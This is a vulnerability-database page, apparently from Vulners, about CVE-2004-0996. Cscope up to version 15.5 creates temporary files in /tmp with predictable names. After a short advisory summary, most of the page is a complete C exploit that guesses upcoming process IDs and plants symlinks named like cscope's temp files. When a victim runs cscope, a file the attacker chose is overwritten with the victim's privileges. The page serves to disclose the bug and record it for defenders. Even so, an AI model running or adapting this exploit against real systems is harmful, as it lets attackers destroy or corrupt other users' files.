Cscope 13.0/15.x - Insecure Temporary File Creation (2)
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| Security fix for the ALT Linux 6 package cscope version 15.5-alt2 | 1 Dec 200400:00 | – | altlinux | |
| cscope -- symlink attack vulnerability | 3 Apr 200300:00 | – | freebsd | |
| CAN-2004-0996 | 23 Feb 202418:16 | – | cve | |
| CVE-2004-0996 | 1 Dec 200405:00 | – | cve | |
| CVE-2004-0996 | 1 Dec 200405:00 | – | cvelist | |
| [SECURITY] [DSA 610-1] New cscope packages fix insecure temporary file creation | 17 Dec 200409:08 | – | debian | |
| [SECURITY] [DSA 610-1] New cscope packages fix insecure temporary file creation | 17 Dec 200409:08 | – | debian | |
| CVE-2004-0996 | 1 Dec 200405:00 | – | debiancve | |
| Debian DSA-610-1 : cscope - insecure temporary file | 17 Dec 200400:00 | – | nessus | |
| FreeBSD : cscope -- symlink attack vulnerability (a7bfd423-484f-11d9-a9e7-0001020eed82) | 13 Jul 200500:00 | – | nessus |
10
// source: https://www.securityfocus.com/bid/11697/info
Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it.
During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it.
Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application.
Versions up to and including Cscope 15.5 are reported vulnerable.
/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BSIZE 64
int
main(int ac, char *av[]) {
pid_t cur;
u_int i=0, lst;
char buffer[BSIZE + 1];
fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
" version 15.5 and minor \n" \
" Gangstuck / Psirac\n" \
" <[email protected]>\n\n");
if (ac != 3) {
fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
return 1;
}
cur=getpid();
lst=cur+atoi(av[2]);
fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
" -> Last process id is ........ [%5d]\n", cur, lst);
while (++cur != lst) {
snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
symlink(av[1], buffer);
}
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Mar 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.01145